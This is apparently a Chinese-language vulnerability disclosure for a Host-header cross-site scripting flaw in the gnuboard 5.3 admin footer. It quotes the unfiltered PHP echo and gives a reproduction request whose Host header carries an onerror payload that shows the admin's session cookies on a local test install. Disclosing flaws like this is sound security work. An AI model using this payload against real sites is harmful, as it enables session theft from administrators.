

# gnuboard xss漏洞

## 漏洞简介

Gnuboard是韩国Sir公司开发一套PHP+Mysql CMS程序。本身数据结构简单，可扩展性能强，程序运行代码与皮肤文件分离，可扩展数据字段多，可以进行多种功能转变，简单安装就可以作为BBS告示板使用，也可以下载皮肤插件变成 综合网站，地方信息，购物，人才市场，物品交易网站。gnuboard 5.3 header头过滤不严导致xss漏洞。

##漏洞分析## /adm/admin.tail.php 文件第17行存在漏洞。

```
<footer id="ft">
    <p>
        Copyright &copy; <?php echo $_SERVER['HTTP_HOST']; ?>. All rights
        reserved. <?php echo $print_version; ?><br>
        <a href="#">상단으로</a>
    </p>
</footer>
```

<?php echo \$\_SERVER['HTTP\_HOST']; ?> 中HTTP\_HOST没有任何过滤直接echo输出 导致xss漏洞。 ##漏洞复现## 访问管理员后台，抓包吧 HOST 改成 xss payload 即可触发xss漏洞。

Request to http://127.0.0.1:80

ForwardDropIntercept is onAction

RawParamsHeadersHex

GET /adm/ HTTP/1.1  
Host: <img src=x onerror=alert(document.cookie)>  
Cache-Control: max-age=0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36  
Upgrade-Insecure-Requests: 1  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,\*/\*;q=0.8  
DNT: 1  
Referer: http://127.0.0.1/bbs/login.php?url=http%3A%2F%2F127.0.0.1%2Fadm  
Accept-Encoding: gzip, deflate, br  
Accept-Language: zh-CN,zh;q=0.9  
Cookie: PHPSESSID=rkaemvi51em0cfdssh6h4kdqn6; 2a0d2363701f23f8a75028924a3af643=MTI3LjAuMC4x  
If-Modified-Since: Thu, 23 Nov 2017 09:19:04 GMT  
Connection: close

← → × 127.0.0.1/adm/

应用 http://bit.ly/2uRdb... KVM/QEMU with v... adm1nkyj

최고관리자 최고관리자님 로그인 중 로그아웃  
본문 바로가기

그누보드5

그누보드5 관리자

- 관리자정보
- 기본환경
- 부가서비스
- 커뮤니티
- 로그아웃

관리자 주메뉴

- 환경설정
  - 기본환경설정
  - 관리권한설정
  - 테마설정
  - 메뉴설정
  - 메일 테스트
  - 팝업레이어관리
  - 세션파일 일괄삭제
  - 캐시파일 일괄삭제
  - 캡차파일 일괄삭제
  - 첨네일파일 일괄삭제
  - phpinfo()

127.0.0.1 显示:  
PHPSESSID=rkaemvi51em0cfdssh6h4kdqn6;  
2a0d2363701f23f8a75028924a3af643=MTI3LjAuMC4x  
确定